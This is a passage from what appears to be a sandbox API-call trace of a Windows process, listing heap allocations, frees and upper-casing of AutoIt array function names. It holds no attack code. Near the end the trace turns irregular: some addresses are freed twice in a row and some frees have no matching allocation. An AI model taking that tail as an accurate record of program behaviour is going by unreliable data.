[0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073808 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738f8 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073850 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073988 [0131.512] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073880 | out: hHeap=0xe80000) returned 1 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.512] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107d9a0 [0131.513] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739b8 [0131.513] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1198 [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739b8 | out: hHeap=0xe80000) returned 1 [0131.513] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ad28 [0131.513] CharUpperBuffW (in: lpsz="_ARRAYFINDALL", cchLength=0xd | out: lpsz="_ARRAYFINDALL") returned 0xd [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073958 | out: hHeap=0xe80000) returned 1 [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1238 | out: hHeap=0xe80000) returned 1 [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a60 | out: hHeap=0xe80000) returned 1 [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073898 | out: hHeap=0xe80000) returned 1 [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073808 | out: hHeap=0xe80000) returned 1 [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738f8 | out: hHeap=0xe80000) returned 1 [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073940 | out: hHeap=0xe80000) returned 1 [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073850 | out: hHeap=0xe80000) returned 1 [0131.513] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073988 | out: hHeap=0xe80000) returned 1 [0131.514] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a918 | out: hHeap=0xe80000) returned 1 [0131.514] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.514] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1188 | out: hHeap=0xe80000) returned 1 [0131.514] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a940 [0131.514] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1108 [0131.514] CharUpperBuffW (in: lpsz="_ARRAYINSERT", cchLength=0xc | out: lpsz="_ARRAYINSERT") returned 0xc [0131.515] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a940 | out: hHeap=0xe80000) returned 1 [0131.515] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1108 | out: hHeap=0xe80000) returned 1 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073aa8 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10b8 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737f0 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1108 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a8c8 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737c0 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073808 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a48 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a60 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737d8 [0131.515] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073aa8 | out: hHeap=0xe80000) returned 1 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107da30 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb11e8 [0131.515] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.515] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ad50 [0131.515] CharUpperBuffW (in: lpsz="_ARRAYINSERT", cchLength=0xc | out: lpsz="_ARRAYINSERT") returned 0xc [0131.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737f0 | out: hHeap=0xe80000) returned 1 [0131.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1108 | out: hHeap=0xe80000) returned 1 [0131.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737c0 | out: hHeap=0xe80000) returned 1 [0131.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073808 | out: hHeap=0xe80000) returned 1 [0131.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a48 | out: hHeap=0xe80000) returned 1 [0131.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073940 | out: hHeap=0xe80000) returned 1 [0131.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a60 | out: hHeap=0xe80000) returned 1 [0131.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737d8 | out: hHeap=0xe80000) returned 1 [0131.516] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8c8 | out: hHeap=0xe80000) returned 1 [0131.517] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.517] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb10b8 | out: hHeap=0xe80000) returned 1 [0131.517] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.517] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1088 [0131.517] CharUpperBuffW (in: lpsz="_ARRAYMAX", cchLength=0x9 | out: lpsz="_ARRAYMAX") returned 0x9 [0131.517] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.518] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1088 | out: hHeap=0xe80000) returned 1 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073958 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1188 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a60 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1128 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a8a0 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073988 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739d0 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073850 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737f0 [0131.518] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073958 | out: hHeap=0xe80000) returned 1 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107daf0 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073898 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10b8 [0131.518] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073898 | out: hHeap=0xe80000) returned 1 [0131.518] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a8c8 [0131.519] CharUpperBuffW (in: lpsz="_ARRAYMAX", cchLength=0x9 | out: lpsz="_ARRAYMAX") returned 0x9 [0131.519] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a60 | out: hHeap=0xe80000) returned 1 [0131.519] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1128 | out: hHeap=0xe80000) returned 1 [0131.519] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073988 | out: hHeap=0xe80000) returned 1 [0131.519] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.519] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739d0 | out: hHeap=0xe80000) returned 1 [0131.519] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073850 | out: hHeap=0xe80000) returned 1 [0131.519] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737f0 | out: hHeap=0xe80000) returned 1 [0131.519] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.520] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1188 | out: hHeap=0xe80000) returned 1 [0131.525] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.525] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1238 [0131.525] CharUpperBuffW (in: lpsz="_ARRAYMAXINDEX", cchLength=0xe | out: lpsz="_ARRAYMAXINDEX") returned 0xe [0131.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1238 | out: hHeap=0xe80000) returned 1 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1218 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738c8 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1108 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073aa8 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073970 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073988 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737c0 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10739a0 [0131.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073940 | out: hHeap=0xe80000) returned 1 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a8a0 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107d7c0 [0131.526] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1058 [0131.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.527] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a918 [0131.527] CharUpperBuffW (in: lpsz="_ARRAYMAXINDEX", cchLength=0xe | out: lpsz="_ARRAYMAXINDEX") returned 0xe [0131.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738c8 | out: hHeap=0xe80000) returned 1 [0131.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1108 | out: hHeap=0xe80000) returned 1 [0131.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073aa8 | out: hHeap=0xe80000) returned 1 [0131.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073970 | out: hHeap=0xe80000) returned 1 [0131.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073988 | out: hHeap=0xe80000) returned 1 [0131.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737c0 | out: hHeap=0xe80000) returned 1 [0131.527] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739a0 | out: hHeap=0xe80000) returned 1 [0131.528] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1218 | out: hHeap=0xe80000) returned 1 [0131.529] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.529] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1108 [0131.529] CharUpperBuffW (in: lpsz="_ARRAYMIN", cchLength=0x9 | out: lpsz="_ARRAYMIN") returned 0x9 [0131.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1108 | out: hHeap=0xe80000) returned 1 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10c8 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738b0 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1148 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073868 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a78 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a48 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738f8 [0131.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a8a0 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107db50 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073aa8 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1128 [0131.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073aa8 | out: hHeap=0xe80000) returned 1 [0131.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a940 [0131.530] CharUpperBuffW (in: lpsz="_ARRAYMIN", cchLength=0x9 | out: lpsz="_ARRAYMIN") returned 0x9 [0131.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738b0 | out: hHeap=0xe80000) returned 1 [0131.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1148 | out: hHeap=0xe80000) returned 1 [0131.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073868 | out: hHeap=0xe80000) returned 1 [0131.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a48 | out: hHeap=0xe80000) returned 1 [0131.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073940 | out: hHeap=0xe80000) returned 1 [0131.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738f8 | out: hHeap=0xe80000) returned 1 [0131.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb10c8 | out: hHeap=0xe80000) returned 1 [0131.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10c8 [0131.532] CharUpperBuffW (in: lpsz="_ARRAYMININDEX", cchLength=0xe | out: lpsz="_ARRAYMININDEX") returned 0xe [0131.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb10c8 | out: hHeap=0xe80000) returned 1 [0131.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a30 [0131.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1068 [0131.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073a48 [0131.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1168 [0131.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a8a0 [0131.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073940 [0131.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073988 [0131.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737d8 [0131.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073958 [0131.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107d9d0 [0131.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738c8 [0131.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1118 [0131.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738c8 | out: hHeap=0xe80000) returned 1 [0131.535] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ae40 [0131.535] CharUpperBuffW (in: lpsz="_ARRAYMININDEX", cchLength=0xe | out: lpsz="_ARRAYMININDEX") returned 0xe [0131.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a48 | out: hHeap=0xe80000) returned 1 [0131.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1168 | out: hHeap=0xe80000) returned 1 [0131.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073940 | out: hHeap=0xe80000) returned 1 [0131.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073988 | out: hHeap=0xe80000) returned 1 [0131.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737d8 | out: hHeap=0xe80000) returned 1 [0131.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.536] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073958 | out: hHeap=0xe80000) returned 1 [0131.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1068 | out: hHeap=0xe80000) returned 1 [0131.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb1188 [0131.538] CharUpperBuffW (in: lpsz="_ARRAYPERMUTE", cchLength=0xd | out: lpsz="_ARRAYPERMUTE") returned 0xd [0131.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1188 | out: hHeap=0xe80000) returned 1 [0131.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073868 [0131.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb11b8 [0131.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10737c0 [0131.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeb10a8 [0131.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105ac88 [0131.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1073838 [0131.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10738e0 [0131.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073868 | out: hHeap=0xe80000) returned 1 [0131.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0x105a8a0 [0131.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x28) returned 0x107d820 [0131.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073808 | out: hHeap=0xe80000) returned 1 [0131.539] CharUpperBuffW (in: lpsz="_ARRAYPERMUTE", cchLength=0xd | out: lpsz="_ARRAYPERMUTE") returned 0xd [0131.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10737c0 | out: hHeap=0xe80000) returned 1 [0131.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb10a8 | out: hHeap=0xe80000) returned 1 [0131.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10738e0 | out: hHeap=0xe80000) returned 1 [0131.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11b8 | out: hHeap=0xe80000) returned 1 [0131.540] CharUpperBuffW (in: lpsz="_ARRAYPOP", cchLength=0x9 | out: lpsz="_ARRAYPOP") returned 0x9 [0131.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11a8 | out: hHeap=0xe80000) returned 1 [0131.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739d0 | out: hHeap=0xe80000) returned 1 [0131.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739d0 | out: hHeap=0xe80000) returned 1 [0131.540] CharUpperBuffW (in: lpsz="_ARRAYPOP", cchLength=0x9 | out: lpsz="_ARRAYPOP") returned 0x9 [0131.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a30 | out: hHeap=0xe80000) returned 1 [0131.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1168 | out: hHeap=0xe80000) returned 1 [0131.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073898 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb1148 | out: hHeap=0xe80000) returned 1 [0131.541] CharUpperBuffW (in: lpsz="_ARRAYPUSH", cchLength=0xa | out: lpsz="_ARRAYPUSH") returned 0xa [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11f8 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739a0 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10739a0 | out: hHeap=0xe80000) returned 1 [0131.541] CharUpperBuffW (in: lpsz="_ARRAYPUSH", cchLength=0xa | out: lpsz="_ARRAYPUSH") returned 0xa [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073808 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb11f8 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073a78 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073aa8 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1073838 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105ac88 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x105a8a0 | out: hHeap=0xe80000) returned 1 [0131.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb10a8 | out: 